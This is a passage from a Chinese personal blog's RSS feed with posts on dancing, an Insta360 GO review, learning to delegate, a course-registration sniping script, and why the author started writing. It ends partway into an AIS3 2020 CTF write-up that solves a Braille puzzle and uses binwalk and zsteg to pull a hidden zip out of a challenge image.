]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">briefing-of-how-i-discover-music</guid><pubDate>Sat, 10 Apr 2021 02:40:32 +0800</pubDate></item><item><title>要寫程式，還是跳舞呢</title><link>https://blog.tomy.me/zh-tw/posts/to-dance-or-to-code/</link><description>原來一切都是我自己種的孽</description><content:encoded><![CDATA[<p>先說，這篇沒有 BL 的劇情，但我實在找不到其他合理的照片了</p>
<p>—————我是分隔線不要打我—————</p>
<p>那是大一上學期的某一個晚上，男宿 303 一如往常熱鬧，擠滿了不同寢室的人。但跟平常不同是，再過一兩天就是基哥某一次大數作業的期限了，所以大夥正加把勁研究該怎麼把 ppt 上的 pseudo code 轉成 C++。而因為我在那天之前很早就寫完，而且搞定所有的問題了，所以莫名其妙就變成了大家的 debug 諮詢顧問。我還記得涵迪當時在問完我某一個問題的時候，我突然很好奇他為什麼會提出這個問題。問題的細節我已經忘記了，但當時得出的結論大致上是：如果會提這個問題，那可能代表他沒有正確的理解這個東西到底在幹嘛，或是重點是什麼。</p>
<p>下學期開學沒多久，就開始進入資夜的籌備期了。我本來其實不太想淌這渾水，一方面是資夜能玩的把戲，說實在我高中就差不多都體驗過了，我也想不到有什麼空間是我還可以再發揮的。另一方面最重要的就是，啊我就超級大肢障 QQQ 但後來，因為我們這一坨人實在是跟上一屆系學會走太近，這鍋估計是甩不掉，反正涵迪的跳舞經驗很豐富，編舞和排練的相關細節都是他負責的，我只要負責把舞練到看起來不那麼爛就好了。但這過程自然就沒有太多「好玩」的成分，某一個練舞的晚上，可能是因為下毛毛雨，桃園冬天的風颳起來又冷到靠北，我的四肢根本完全沒辦法照大腦指揮的運作，想當然馬上就被電到飛起來，大概就是所謂的主客易位了吧。反正之後就差不多照著這個循環持續到資夜結束。</p>
<p>又過了一陣子，某天我和我媽喇賽，我隨口就說：「我發現我身邊周遭到人都有不同程度的肢障，但有到像我這個檔次的，好像沒幾個，這到底是為什麼？？？」我媽一副完全不意外，表情很淡定說：「因為你小時候我們送你去國語日報的律動課，你上沒幾次就說不好玩，指著說要去上隔壁的積木課。」</p>
<p>后里穴，這一切似乎都說得通了呢：）</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">to-dance-or-to-code</guid><pubDate>Tue, 30 Mar 2021 00:37:08 +0800</pubDate></item><item><title>Insta360 Go</title><link>https://blog.tomy.me/zh-tw/posts/insta360-go/</link><description>中規中矩，沒有令人失望反而是它的驚喜點</description><content:encoded><![CDATA[<p>最近 Insta360 GO 的第二代上市了，趁這個時間來蹭點話題熱度應該是再適合不過啦</p>

<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x9oqfa4"></script><figcaption class="text-center">澎湖的不知道哪裡到哪裡</figcaption>
    <style type="text/css">
      
      .dailymotion-player-root,
      .dailymotion-player-wrapper {
        margin-left: auto;
        margin-right: auto;
        margin-top: 0;
        margin-bottom: 0;
        border-radius: 0.375rem;
      }
    </style>
<h2 id="-360-相片初體驗" class="relative group">🗼 360 相片初體驗 </h2><p>先來點前情提要好了，雖然我在差不多國中就已經過了會追求攝影規格的階段，但卻還是不小心花了不少銀子在玩相關的東西 (X)。那時我對 Google Earth 提供的街景攝影很有興趣，所以從國外買了一個叫做 Motrr Galileo 的雲台，可以讓 iPhone 4S 拍出類似的東西，只是很可惜後來支援軟體的新創 Sphere 沒過多久就被 Google 收購了，所以很可惜這東西也是買了沒多久就流產了。</p>

<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x9oqfa2"></script><figcaption class="text-center">酒精加持的最後一發射中 501 的最後 1 分</figcaption>
<h2 id="-vr-時代的來臨" class="relative group">👽 VR 時代的來臨 </h2><p>後來多虧 Oculus 一炮而紅，所有跟 VR、360 有關的東西價錢全翻了一倍，我就沒什麼機會再去玩了。特別是 RICOH Theta 系列的相機印象中大概高一就被加進我的玩具清單了，本來以為這東西價錢會在普及之後降到一個比較比較不那麼盤的價錢，結果 Insta360 就這麼半路殺出來了搏版面了，但價錢還是很貴，所以我還沒找到一個理由說服自己買 One 系列的相機，以下歡迎乾爹贊助 (X)。另外就是我對中國品牌還是有點感冒，但去年看到 Insta360 GO 剛推出就簽下 Apple Store 獨家的合約，又滿符合我對第一人稱攝影的想像，於是就只好鮮蝦挺 (X)。</p>

<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x9oqfa6"></script><figcaption class="text-center">AIS3 沒在上課的瞎忙縮時</figcaption>
<h2 id="-優點" class="relative group">👍🏻 優點 </h2><p>先講優點，作為一個這麼小的相機，攝影的品質當然就不是首要的重點，但拍路過的可愛妹子絕對是夠的 (欸不是)，縮時和慢動作的效果也比想像中的來的不錯，而且 App 提供很多炫砲的剪輯效果，又可以無腦直出 FB、IG，很方便，美中不足的大概就是目前電腦版的剪輯軟體支援度還沒有手機這麼高。</p>

<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x9oqf9y"></script><figcaption class="text-center">子毅現身說法這玩意兒差點噴飛</figcaption>
<h2 id="-缺點" class="relative group">👎🏻 缺點 </h2><p>再來是缺點的部分，第一人稱的佩戴方式大概有兩種，一種是用藏在衣服裡磁吸掛繩，位置大概會在胸口附近，視野稍微低一點，另一種是用夾子夾在頭巾或是帽緣，但考量到這個方法戴起來智障度偏高，而且我私心覺得對會出現在鏡頭前的人敵意太高，就先不討論。磁吸的雖然蠻穩的，但還是會有死角容易掉，所以重點提示一下。一種是搬東西或提東西的時候如果靠著胸口，再來是整理衣服的時候，這個我覺得是最危險的，比方說從椅子站起來或是上完廁所，從腰際往外一擺一定是馬上下來，我就經常忘記然後掉下來，其中一次還直接掉進味增湯 (可惡沒錄到)。最 G8 的是才剛買不到半年其中一次下去，鏡頭直接就爆了，運送維修又噴了將近一半的價錢，聽到報價真的是起賭爛。</p>
<p>其他算不上缺點的槽點也是蠻多，比方說操作回饋感很差、容量偏小、錄影時間偏短，但目前看起來第二代都有嘗試在這些地方修正，應該算是進入成熟期了。</p>

<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x9oqfa0"></script><figcaption class="text-center">劇坊日常之醜狗吉娃娃憤怒社團 (?)</figcaption>
<h2 id="-社會接納度" class="relative group">🫱🏻‍🫲🏽 社會接納度 </h2><p>雖然我應該也算是挺常戴在身上的，但有些人似乎神經滿大條的，完全不會發現 (?)，有些人則是遠遠的就看到，靠近之後第一句話就問，雖然這個議題國外在 Google Glass 出來的時候就吵過一次了，但我蠻好奇台灣人對這種鏡頭的排斥感如何，歡迎大家去我的限動投票。</p>
<h2 id="總結" class="relative group">總結 </h2><p>總結的話，為了寫這篇文我才第一次把影片一個一個打開來看，但我也是在這個時候才覺得這種簡單、不多餘的紀錄生活瑣碎片段的概念其實滿棒的，我很喜歡。如果 60 分代表我在買之前有信心這東西可以至少玩個半年才腰斬或玩膩，而實際體驗比預期的稍微好一咪咪，再加上它的確達成了前面所說的目的，沒有膨風，所以就姑且給個 70 分吧。</p>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">insta360-go</guid><pubDate>Wed, 17 Mar 2021 05:44:03 +0800</pubDate></item><item><title>學著放手</title><link>https://blog.tomy.me/zh-tw/posts/learn-to-let-go/</link><description>長壽的秘訣就是得過且過 (?</description><content:encoded><![CDATA[<p>2015 年的冬天，正值高二的我只知道唸書實在不是什麼好玩的事情，但我又剛好沒什麼課餘的消遣，於是索性就讓生活重心隨著社團打轉，一頭栽進了隔年寒假四校聯展的活動組。</p>
<p>活動組負責的部分大致上是整體籌備的流程，白話的說就是訂出時間表，然後照時間表催各組做事就差不多沒事了，但當時的我真的就是名副其實的「一頭栽進」了，基本上就是只要我覺得我會，那這件工作就會被擱置在我自己的桌上，即便我沒有時間做這件事情，我也會說服自己能從美國進口時間來處理這件事情，總而言之就是不會交棒給原本應該負責的組或是其他組員。而且那個不拱手讓人的程度，已經誇張到不管是事前 P 文宣圖、畫場佈圖，前一天排場佈流程表，到當天彩排主持我全都參了一咖。</p>
<p>但以我當時的經驗值，一個人根本就扛不住規模這麼大的工作量，換句話說，一定有東西要出車禍的。</p>
<p>出車禍的，就是我自己的表演。我已經把所有原本應該拿來練習表演的時間和精力，全浪費在不該插手的事情了，即便是前一天晚上，都還在打那該死的流程表，然後在只睡了幾個小時的情況下，拖著疲憊的身子拿麥克風主持一大早的場佈和彩排。上台的前 30 分鐘，我一個人在演藝廳的外面，想把握最後一些時間拯救根本還沒有練熟的表演，但一切都來不及了，即便所有經過的人都不斷的說會期待我的表演，但我還是只能眼睜睜的看著這台煞不住的列車，一路撞進終點站。</p>
<p>高一的我選擇加入流音社，不過就是「喜歡唱歌」這麼簡單的一個理由嗎，何必得搞的這麼灰頭土臉又遺失自我呢。那也是我第一次體會到，為什麼很多人會說「能夠專注在思考自己的表演，是一件非常難能可貴的事」。所以在那之後，我鬆手了，面對 3 個月之後的成發，我就只有一個原則：「所有 bullshit ，都只能排在我的練習之後」。</p>
<p>最後的表演，雖然說不到令我多滿意的程度，但是我很開心，因為那些我沒插手的事情，一個都沒出車禍。特別是被我放棄急救的幹介片，最後在工時不到一個禮拜情況下被文新的鬼之剪輯救活，我也真的是服了。也大概是從那之後，我覺得我看事情的角度又更開了一些，特別是那種令人頭痛的大事、鳥事，只要以一個得過且過的態度去面對，那心裡真的是會舒暢許多。之前剛好看到某贛話系裝機大師的金玉良言：「要個性、有尊嚴、不遷就、但隨緣」，大概就是這門哲學最精闢的解釋了吧。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">learn-to-let-go</guid><pubDate>Sun, 07 Mar 2021 20:44:27 +0800</pubDate></item><item><title>選課大作戰</title><link>https://blog.tomy.me/zh-tw/posts/course-planning/</link><description>難怪人家都說，資工系沒有搶不到的課</description><content:encoded><![CDATA[
<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x9oqf42"></script><figcaption class="text-center">海崖谷日出縮時</figcaption>
    <style type="text/css">
      
      .dailymotion-player-root,
      .dailymotion-player-wrapper {
        margin-left: auto;
        margin-right: auto;
        margin-top: 0;
        margin-bottom: 0;
        border-radius: 0.375rem;
      }
    </style>
<p>事件發生的當天，有著一個美麗的清晨。</p>
<p>我和一群臭魯蛇在花蓮海岸線第一排的帳篷中醒來，享受假掰露營的快活。俗話說：黑暗之後必是光明，那日出之後，想必就是補眠了吧。但我卻萬萬沒想到，再過不到3小時，就是下學期的選課開放的時間。</p>
<p>愜意的我就這麼給他睡死，該搶的通識一個都沒搶到。</p>
<h2 id="選課策略-v1" class="relative group">選課策略 v1 </h2><p>時間快轉到上星期一，課表還是沒敲定。雖然必選修是差不多了，但通識還是缺了一大塊。但這要是再不選，啊鐵定是要出大事，所以還是動手寫了搶課的程式。按照學校的選課系統規則，在星期三早上 10 點之前，所有退選的名額會優先被分配給那些在「美麗早晨」按順序填入候補的同學，而選課程式的策略，就是在星期三候補名單清空之後，密切注意選課人數，等到有人退了課，再馬上選起來。</p>
<p>雖然很多課還沒選，但至少星期一早上的選修和下午 3 學分的社會學通識都是我確定會修的。所以當天的工作很簡單，在上課的時間去露個臉，下課回實驗室把程式趕出來，等著星期三掛起來跑，晚上再花點時間上低卡物色一些其他也許不那麼差但還有空缺的通識當保底，最後在睡前選了一個隔天下午的社區營造通識。</p>
<p>星期二的課除了前一晚加選的通識，還有早上的另一門選修，我還成功拉到下線 @___yu.xuan 陪我一起去下午的通識 XDDD。下午實際去了社區營造那門通識，是一個中年偏老 (?) 的女老師開的課，雖然他講了一大段上課守則，但反正我接收到的大概是：1. 不要滑手機、2. 不要睡覺、3. 不要吃東西。說實在也不是什麼挺過分的要求，但也許可以總結為什麼這堂課會選不滿。反正我們沒什麼選擇，應該也不至於扛不住，就將就一下吧。</p>
<p>星期三開始我就進入 228 連假模式了 xDDD，每天睡到自然醒，晃進實驗室打個雜，等看看我的程式能不能撈到什麼好料。啊結果還真的沒辜負我的期待，當天早上的力學與數學的歷史發展，下午 1 點就有人退掉，於是馬上就被我 v1 的程式撈起來了 👍🏻</p>
<p>到了這個時間點，我已經正式選滿了 4 趟通識，分別是：</p>
<ul>
<li>社會學 (預選抽到的)</li>
<li>社區營造</li>
<li>力學與數學的歷史發展</li>
<li>古典音樂賞析 (也是抽到的)</li>
</ul>
<h2 id="進階功能-v2" class="relative group">進階功能 v2 </h2><p>雖然大致上已經可以接受了，但還是想再微調一下，主要是看能不能把禮拜五的古典音樂換到禮拜三早 8，這樣就可以把課集中到只有星期一到三。選課系統有限制一個人一學期最多只能修 4 堂通識，就算選的第 5 堂有空，也會被系統擋下來。雖然我 v1 的程式才放下去跑沒多久，但我馬上著手開始進行構造改革👨🏻‍💻，v2 新增的功能，就是檢查如果星期三的古典音樂有空位，就馬上把星期五的退掉，然後搶星期三的課。</p>
<p>當時就挺突然的，晚上 11 點多我正準備要去洗澡，手機通知突然炸起來，我馬上意識到，起風了🌪</p>
<p>雖然衣服都脫了，我還是衝回電腦前面就備戰狀態。真的是還好我還沒開始洗， v2 的程式偵測到星期二下午的「愛情與政治」有空位，居然就把古典音樂給退掉去選了。雖然這是合理的操作，但我下午在寫的時候其實沒有想到這個 case ，如果有的話，也應該是放掉社區營造來選這門課才合理。所以剛才發生的事真的完完全全是一場意外 XDDDDDDDD 。接著趁古典音樂還在趕快先撿回來，把社區營造退掉，最後檢查完程式沒有 bug 之後，才安心進浴室洗澡。(乾為了這鬼東西我他媽光著身子跪在電腦前面折騰了30分鐘(´///☁///`)</p>
<p>隔天星期四晚上 9 點多，v2 的程式按照原先設定的目標，幫我撈到了星期三的古典音樂。至此，我整整一個禮拜的選課旅程終於告一段落，選滿 4 堂我原本想選的通識 (其中 v1 選了 1 堂，v2 選了兩堂)，而且都排在星期一到三，完美整合了名副其實的四天連假。</p>
<h2 id="結論" class="relative group">結論 </h2><p>下面開始選課大作戰的技術總結 (x</p>
<p>撇掉程式不說，我私心覺得重點還是在那個星期三的候補機制。如果仔細想一下，大部分退課的狀況會發生在兩種情況，一種是第一次上完課之後，覺得 hold 不住的同學退出來的 (比方說上面的力數歷史)，另一種是可能選到了別的更想上的課，所以退掉原本選的其他課。以相依性來說，第二個 case 會由第一個 case 觸發，而第一個 case 只會發生在上完第一次之後。就是因為候補機制只運作到星期三，所以星期三下午之後的課，都是想要狙擊的人可以操作的空間，想靠候補排上根本就是排心酸的。另外，選開課人數高的課也是另一個關鍵，以這次的經驗來說，「愛情與政治」和「古典音樂賞析」的選課人數都超過 100 人，要等到有人退課根本只是時間的問題。</p>
<p>雖然來中興的時候本來是決定不再幹這檔事了，一方面是寫這東西對當時的我還是挺折騰的，另一方面就是對於這玩法到底公不公平，我還沒有想好一個結論。雖然話是這麼說，但畢竟能選到想上的課，用最後的幾個學分刷點 GPA ，然後畢業才是真的，而且外加這幾年寫了太多程式，這題目對我來說根本已經不難了。如果我不寫，反而才奇怪吧。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">course-planning</guid><pubDate>Tue, 02 Mar 2021 00:39:44 +0800</pubDate></item><item><title>Prelude</title><link>https://blog.tomy.me/zh-tw/posts/prelude/</link><description>踏上寫作的不歸路 (?)</description><content:encoded><![CDATA[<p>故事是這樣的<br>
從大概小學五年級開始<br>
我的國文成績從平均 80 幾分<br>
以每年 10 分的速度電梯向下自由落體<br>
我從升高中的會考就放棄了<br>
(對，包含後面所有其他重要或不重要的考試)</p>
<p>反正我不覺得我有語言上的溝通障礙</p>
<p>直到去年我去考了托福<br>
寫作分數比我的口說還要差<br>
姑且可以說是 嘴砲能力&gt;筆戰能力(?)</p>
<p>至於為什麼我的寫作分數會這麼低呢<br>
我仔細想了一陣子<br>
發現自從考完指考之後<br>
我幾乎再也沒寫過長篇作文 中英文都是<br>
500 字以上的應該是沒有<br>
(500 行 code 倒是不少 🤔</p>
<p>所以托福寫作爛 可能不是英文爛<br>
而是爛在我沒辦法把自己的想法好好的組織架構成一篇正常的文章</p>
<p>我的大腦會在看到題目之後快速的把各種素材噴出來 (Asynchronously🤭)<br>
但沒有中樞 (Lock) 負責協調先後順序<br>
所以導致我經常不小心想寫什麼就寫什麼<br>
可能都已經寫到下一段了但是突然天外飛來一筆垃圾插在中間</p>
<p>所以<br>
從今天開始，每個週末我都會找一個主題或故事<br>
來練習組織寫作的能力<br>
(先暫訂到這學期末好了，希望我扛得住 QQ<br>
歡迎有興趣的人催稿(X) 追蹤 (O)</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">prelude</guid><pubDate>Mon, 22 Feb 2021 02:58:35 +0800</pubDate></item><item><title>AIS3 2020 PreExam Write Up</title><link>https://blog.tomy.me/zh-tw/posts/ais3-2020-pre-exam-write-up/</link><description>我的 CTF 初體驗，也可能是最後一次</description><content:encoded><![CDATA[<h2 id="-題目列表" class="relative group">📋 題目列表 </h2><table>
  <thead>
      <tr>
          <th>分類</th>
          <th>題目</th>
          <th>最後分數</th>
          <th>解題人數</th>
          <th>解題成功</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>🐧 Misc</td>
          <td>💤 Piquero</td>
          <td>100</td>
          <td>347</td>
          <td>✅</td>
      </tr>
      <tr>
          <td>🐧 Misc</td>
          <td>🐥 Karuego</td>
          <td>100</td>
          <td>245</td>
          <td>✅</td>
      </tr>
      <tr>
          <td>🐧 Misc</td>
          <td>🌱 Soy</td>
          <td>139</td>
          <td>172</td>
          <td>✅</td>
      </tr>
      <tr>
          <td>🐧 Misc</td>
          <td>👑 Saburo</td>
          <td>359</td>
          <td>108</td>
          <td>✅</td>
      </tr>
      <tr>
          <td>🐧 Misc</td>
          <td>👿 Shichirou</td>
          <td>450</td>
          <td>65</td>
          <td></td>
      </tr>
      <tr>
          <td>🐧 Misc</td>
          <td>🧸 Clara</td>
          <td>500</td>
          <td>2</td>
          <td></td>
      </tr>
      <tr>
          <td>♻️ Reverse</td>
          <td>🍍 TsaiBro</td>
          <td>100</td>
          <td>281</td>
          <td></td>
      </tr>
      <tr>
          <td>♻️ Reverse</td>
          <td>🎹 Fallen Beat</td>
          <td>144</td>
          <td>171</td>
          <td>✅</td>
      </tr>
      <tr>
          <td>♻️ Reverse</td>
          <td>🧠 Stand up!Brain</td>
          <td>455</td>
          <td>62</td>
          <td></td>
      </tr>
      <tr>
          <td>♻️ Reverse</td>
          <td>🍹 Long Island Iced Tea</td>
          <td>498</td>
          <td>15</td>
          <td></td>
      </tr>
      <tr>
          <td>♻️ Reverse</td>
          <td>🌹 La vie en rose</td>
          <td>499</td>
          <td>12</td>
          <td></td>
      </tr>
      <tr>
          <td>♻️ Reverse</td>
          <td>🐉 Uroboros</td>
          <td>500</td>
          <td>9</td>
          <td></td>
      </tr>
      <tr>
          <td>💥 Pwn</td>
          <td>👻 BOF</td>
          <td>100</td>
          <td>189</td>
          <td></td>
      </tr>
      <tr>
          <td>💥 Pwn</td>
          <td>📃 Nonsense</td>
          <td>474</td>
          <td>47</td>
          <td></td>
      </tr>
      <tr>
          <td>💥 Pwn</td>
          <td>🔫 Portal gun</td>
          <td>491</td>
          <td>28</td>
          <td></td>
      </tr>
      <tr>
          <td>💥 Pwn</td>
          <td>🏫 Morty school</td>
          <td>498</td>
          <td>14</td>
          <td></td>
      </tr>
      <tr>
          <td>💥 Pwn</td>
          <td>🔮 Death crystal</td>
          <td>499</td>
          <td>10</td>
          <td></td>
      </tr>
      <tr>
          <td>💥 Pwn</td>
          <td>📦 Meeseeks box</td>
          <td>500</td>
          <td>8</td>
          <td></td>
      </tr>
      <tr>
          <td>🙊 Crypto</td>
          <td>🦕 Brontosaurus</td>
          <td>100</td>
          <td>380</td>
          <td>✅</td>
      </tr>
      <tr>
          <td>🙊 Crypto</td>
          <td>🦖 T-Rex</td>
          <td>100</td>
          <td>381</td>
          <td>✅</td>
      </tr>
      <tr>
          <td>🙊 Crypto</td>
          <td>🐙 Octopus</td>
          <td>372</td>
          <td>103</td>
          <td></td>
      </tr>
      <tr>
          <td>🙊 Crypto</td>
          <td>🐡 Blowfish</td>
          <td>480</td>
          <td>42</td>
          <td></td>
      </tr>
      <tr>
          <td>🙊 Crypto</td>
          <td>🐪 Camel</td>
          <td>497</td>
          <td>18</td>
          <td></td>
      </tr>
      <tr>
          <td>🙊 Crypto</td>
          <td>🐢 Turtle</td>
          <td>498</td>
          <td>14</td>
          <td></td>
      </tr>
      <tr>
          <td>🌐 Web</td>
          <td>🐿️ Squirrel</td>
          <td>100</td>
          <td>220</td>
          <td></td>
      </tr>
      <tr>
          <td>🌐 Web</td>
          <td>🦈 Shark</td>
          <td>100</td>
          <td>261</td>
          <td>✅</td>
      </tr>
      <tr>
          <td>🌐 Web</td>
          <td>🐘 Elephant</td>
          <td>168</td>
          <td>165</td>
          <td>✅</td>
      </tr>
      <tr>
          <td>🌐 Web</td>
          <td>🐍 Snake</td>
          <td>272</td>
          <td>137</td>
          <td>✅</td>
      </tr>
      <tr>
          <td>🌐 Web</td>
          <td>🦉 Owl</td>
          <td>492</td>
          <td>27</td>
          <td></td>
      </tr>
      <tr>
          <td>🌐 Web</td>
          <td>🦏 Rhino</td>
          <td>494</td>
          <td>24</td>
          <td></td>
      </tr>
  </tbody>
</table>
<h2 id="-misc" class="relative group">🐧 Misc </h2><h3 id="-piquero" class="relative group">💤 Piquero </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//tomy0000000/AIS3-2020-PreExam/main/Problems/%f0%9f%90%a7%20Misc/%f0%9f%92%a4%20Piquero/Piquero_99c9aa83fe492df8d52229017d4dca92297c9aeb.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Piquero Braille"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>如果你搭電梯真的很無聊，你對這題一定特別有想法 (X</p>
<p>反正就是點字 (Braille)，翻譯一下就出來了</p>
<p>要注意的就是 大寫英文、數字和標點前面會多一方標註</p>
<p>但查表可能很難查/查不到，所以我是解完其他題之後用腦補的方式猜完中間的標點</p>
<p>另外我發現一個小技巧，比方說要查 <code>⠸</code> 這個 4 5 6 有點的你可以直接打英文維基的網址</p>
<p><a href="https://en.wikipedia.org/wiki/Braille_pattern_dots-456" target="_blank" rel="noreferrer">https://en.wikipedia.org/wiki/Braille_pattern_dots-456<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>裡面就會列出他在不同語言代表的意思</p>
<p>Flag：<code>AIS3{I_feel_sleepy_Good_Night!!!}</code></p>
<h3 id="-karuego" class="relative group">🐥 Karuego </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//tomy0000000/AIS3-2020-PreExam/main/Problems/%f0%9f%90%a7%20Misc/%f0%9f%90%a5%20Karuego/Karuego_0d9f4a9262326e0150272debfd4418aaa600ffe4.png"
      class="mx-auto my-0 rounded-md"
      alt="Karuego"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>這個是一張 png 的圖片，flag 就藏在這個裡面</p>
<p>用<code>binwalk</code>把壓在裡面的壓縮檔解出來</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">binwalk -e Karuego_0d9f4a9262326e0150272debfd4418aaa600ffe4.png
</span></span></code></pre></div><p>再用<code>zsteg</code>獲得壓縮檔的密碼</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ zsteg Karuego_0d9f4a9262326e0150272debfd4418aaa600ffe4.png
</span></span><span class="line"><span class="cl"><span class="o">[</span>?<span class="o">]</span> <span class="m">1201353</span> bytes of extra data after image end <span class="o">(</span>IEND<span class="o">)</span>, <span class="nv">offset</span> <span class="o">=</span> 0x1f6d30
</span></span><span class="line"><span class="cl">extradata:0         .. file: Zip archive data, at least v1.0 to extract
</span></span><span class="line"><span class="cl">    00000000: <span class="m">50</span> 4b <span class="m">03</span> <span class="m">04</span> 0a <span class="m">00</span> <span class="m">00</span> <span class="m">00</span>  <span class="m">00</span> <span class="m">00</span> <span class="m">40</span> 8a bd <span class="m">50</span> <span class="m">00</span> <span class="m">00</span>  <span class="p">|</span>PK........@..P..<span class="p">|</span>
</span></span><span class="line"><span class="cl">    00000010: <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span>  <span class="m">00</span> <span class="m">00</span> <span class="m">06</span> <span class="m">00</span> 1c <span class="m">00</span> <span class="m">66</span> <span class="m">69</span>  <span class="p">|</span>..............fi<span class="p">|</span>
</span></span><span class="line"><span class="cl">    00000020: 6c <span class="m">65</span> <span class="m">73</span> 2f <span class="m">55</span> <span class="m">54</span> <span class="m">09</span> <span class="m">00</span>  <span class="m">03</span> <span class="m">47</span> d3 d0 5e ed d3 d0  <span class="p">|</span>les/UT...G..^...<span class="p">|</span>
</span></span><span class="line"><span class="cl">    00000030: 5e <span class="m">75</span> <span class="m">78</span> 0b <span class="m">00</span> <span class="m">01</span> <span class="m">04</span> f5  <span class="m">01</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">14</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span>  <span class="p">|</span>^ux.............<span class="p">|</span>
</span></span><span class="line"><span class="cl">    00000040: <span class="m">50</span> 4b <span class="m">03</span> <span class="m">04</span> <span class="m">14</span> <span class="m">00</span> <span class="m">09</span> <span class="m">00</span>  <span class="m">08</span> <span class="m">00</span> 6f <span class="m">21</span> <span class="m">07</span> <span class="m">49</span> ac 2c  <span class="p">|</span>PK........o!.I.,<span class="p">|</span>
</span></span><span class="line"><span class="cl">    00000050: <span class="m">71</span> 1f 7c b9 <span class="m">01</span> <span class="m">00</span> d6 b9  <span class="m">01</span> <span class="m">00</span> <span class="m">35</span> <span class="m">00</span> 1c <span class="m">00</span> <span class="m">66</span> <span class="m">69</span>  <span class="p">|</span>q.<span class="p">|</span>.......5...fi<span class="p">|</span>
</span></span><span class="line"><span class="cl">    00000060: 6c <span class="m">65</span> <span class="m">73</span> 2f <span class="m">33</span> <span class="m">61</span> <span class="m">36</span> <span class="m">36</span>  <span class="m">66</span> <span class="m">61</span> <span class="m">35</span> <span class="m">38</span> <span class="m">38</span> <span class="m">37</span> <span class="m">62</span> <span class="m">63</span>  <span class="p">|</span>les/3a66fa5887bc<span class="p">|</span>
</span></span><span class="line"><span class="cl">    00000070: <span class="m">62</span> <span class="m">37</span> <span class="m">34</span> <span class="m">30</span> <span class="m">34</span> <span class="m">33</span> <span class="m">38</span> <span class="m">66</span>  <span class="m">31</span> <span class="m">66</span> <span class="m">62</span> <span class="m">34</span> <span class="m">39</span> <span class="m">66</span> <span class="m">37</span> <span class="m">38</span>  <span class="p">|</span>b740438f1fb49f78<span class="p">|</span>
</span></span><span class="line"><span class="cl">    00000080: <span class="m">35</span> <span class="m">36</span> <span class="m">39</span> <span class="m">63</span> <span class="m">62</span> <span class="m">35</span> <span class="m">36</span> <span class="m">65</span>  <span class="m">39</span> <span class="m">32</span> <span class="m">33</span> <span class="m">33</span> 5f <span class="m">68</span> <span class="m">71</span> 2e  <span class="p">|</span>569cb56e9233_hq.<span class="p">|</span>
</span></span><span class="line"><span class="cl">    00000090: 6a <span class="m">70</span> <span class="m">67</span> <span class="m">55</span> <span class="m">54</span> <span class="m">09</span> <span class="m">00</span> <span class="m">03</span>  <span class="m">71</span> <span class="m">44</span> a6 <span class="m">57</span> <span class="m">48</span> d3 d0 5e  <span class="p">|</span>jpgUT...qD.WH..^<span class="p">|</span>
</span></span><span class="line"><span class="cl">    000000a0: <span class="m">75</span> <span class="m">78</span> 0b <span class="m">00</span> <span class="m">01</span> <span class="m">04</span> f5 <span class="m">01</span>  <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">14</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> 1d  <span class="p">|</span>ux..............<span class="p">|</span>
</span></span><span class="line"><span class="cl">    000000b0: <span class="nb">cd</span> <span class="m">40</span> aa <span class="m">87</span> <span class="m">37</span> 8a <span class="m">57</span> <span class="m">93</span>  <span class="m">85</span> a9 4c b3 cf fd <span class="m">58</span> 2d  <span class="p">|</span>.@..7.W...L...X-<span class="p">|</span>
</span></span><span class="line"><span class="cl">    000000c0: <span class="m">38</span> <span class="m">10</span> a2 2a dc <span class="m">61</span> 3e 8a  <span class="m">67</span> bf 4c c1 e1 cb d0 d0  <span class="p">|</span>8..*.a&gt;.g.L.....<span class="p">|</span>
</span></span><span class="line"><span class="cl">    000000d0: <span class="m">32</span> <span class="m">65</span> <span class="m">97</span> d0 b5 ef f0 a5  2a <span class="m">04</span> a6 <span class="m">00</span> af b2 <span class="m">63</span> e9  <span class="p">|</span>2e......*.....c.<span class="p">|</span>
